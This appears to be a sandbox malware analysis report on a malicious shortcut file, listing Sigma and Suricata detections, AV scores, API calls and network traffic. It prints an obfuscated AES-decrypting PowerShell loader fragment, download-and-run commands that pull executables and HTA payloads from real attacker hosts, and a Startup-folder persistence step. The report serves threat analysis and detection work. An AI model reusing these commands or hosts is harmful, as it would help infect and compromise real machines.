1B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length)); & $gAccxEpxB.Substring(0,3) $gAccxEpxB.Subst

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, NewProcessName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, OriginalFileName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", ProcessId: 8980, ProcessName: SwiftWrite.pif

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1820, TargetFilename: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7604, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7680, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7604, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7680, ProcessName: powershell.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 8924, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh'), CommandLine: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh'), CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')", ParentImage: C:\Windows\System32\wbem\WMIC.exe, ParentProcessId: 2452, ParentProcessName: WMIC.exe, ProcessCommandLine: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh'), ProcessId: 6592, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2376, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 8832, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:40:00.704769+0100	2803305	3	Unknown Traffic	192.168.2.9	49748	147.45.49.155	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\HA_19-12NGHEP_anh[1]	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: nTyPEbq9wQ.lnk	ReversingLabs: Detection: 21%
Source: nTyPEbq9wQ.lnk	Virustotal: Detection: 24%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Source: unknown	HTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.9:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.9:49735 version: TLS 1.2

Source:	Binary string: dvdplay.pdbGCTL source: mshta.exe, 00000006.00000002.1692760542.0000023F458C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663608231.0000023F4030E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656620086.0000023F4026E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692811416.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657428483.0000023F458C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1658407754.0000023F402FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1661852366.0000023F402F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656620086.0000023F402DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1661852366.0000023F402DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692472427.0000023F402F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656252636.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657586967.0000023F402DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657586967.0000023F40274000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663444018.0000023F402F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657068066.0000023F402F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1658444595.0000023F40304000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692676271.0000023F4030E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1691660367.0000023F4026F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1658497771.0000023F4030D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1662892425.0000023F402E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vdplay.pdbGCTL source: mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dvdplay.pdb source: mshta.exe, 00000006.00000003.1656620086.0000023F4026E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692811416.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656252636.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657586967.0000023F40274000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657068066.0000023F402F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1691660367.0000023F4026F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vdplay.pdb source: mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BBC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	18_2_00007FF697BBC7C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BBB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_00007FF697BBB7C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BC72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	18_2_00007FF697BC72A8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BC71F4 FindFirstFileW,FindClose,	18_2_00007FF697BC71F4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BBBC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_00007FF697BBBC70
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BCA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	18_2_00007FF697BCA874
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BCA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	18_2_00007FF697BCA4F8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BC6428 FindFirstFileW,FindNextFileW,FindClose,	18_2_00007FF697BC6428
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697BCA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	18_2_00007FF697BCA350
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B82F50 FindFirstFileExW,	18_2_00007FF697B82F50
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00334005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	27_2_00334005
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033494A GetFileAttributesW,FindFirstFileW,FindClose,	27_2_0033494A
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	27_2_0033C2FF
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033CD14 FindFirstFileW,FindClose,	27_2_0033CD14
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	27_2_0033CD9F
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	27_2_0033F5D8
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	27_2_0033F735
Source: C:\Users\Public\Guard.exe	Code function: 27_2_0033FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	27_2_0033FA36
Source: C:\Users\Public\Guard.exe	Code function: 27_2_00333CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	27_2_00333CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D84005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	31_2_00D84005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8494A GetFileAttributesW,FindFirstFileW,FindClose,	31_2_00D8494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	31_2_00D8C2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	31_2_00D8CD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8CD14 FindFirstFileW,FindClose,	31_2_00D8CD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	31_2_00D8F5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	31_2_00D8F735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D8FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	31_2_00D8FA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D83CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	31_2_00D83CE2

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 Dec 2024 07:40:07 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Sun, 15 Dec 2024 10:29:42 GMTETag: "da2a8-6294c8abc9816"Accept-Ranges: bytesContent-Length: 893608Keep-Alive: timeout=5, max=100Connection: Keep-AliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 5f 70 5a 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 e8 08 00 00 d8 04 00 00 00 00 00 fa 7f 02 00 00 10 00 00 00 00 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 0d 00 00 04 00 00 15 cd 0d 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cc d0 0b 00 7c 01 00 00 00 90 0c 00 50 d7 00 00 00 00 00 00 00 00 00 00 00 86 0d 00 a8 1c 00 00 00 70 0d 00 ac 71 00 00 90 3b 09 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 5b 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 09 00 84 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b1 e7 08 00 00 10 00 00 00 e8 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8e fd 02 00 00 00 09 00 00 fe 02 00 00 ec 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 8f 00 00 00 00 0c 00 00 52 00 00 00 ea 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 d7 00 00 00 90 0c 00 00 d8 00 00 00 3c 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 71 00 00 00 70 0d 00 00 72 00 00 00 14 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /New_2025.webp HTTP/1.1Host: tiffany-careers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /PefjSkkhb.exe HTTP/1.1Host: tiffany-careers.com
Source: global traffic	HTTP traffic detected: GET /QWCheljD.txt HTTP/1.1Host: 139.99.188.124Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 147.45.49.155 147.45.49.155
Source: Joe Sandbox View	IP Address: 139.99.188.124 139.99.188.124
Source: Joe Sandbox View	IP Address: 139.99.188.124 139.99.188.124

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49748 -> 147.45.49.155:443

Source: global traffic	HTTP traffic detected: GET /HA_19-12NGHEP_anh HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tiffany-careers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /kiiMf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 139.99.188.124Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BCE87C InternetReadFile,

18_2_00007FF697BCE87C

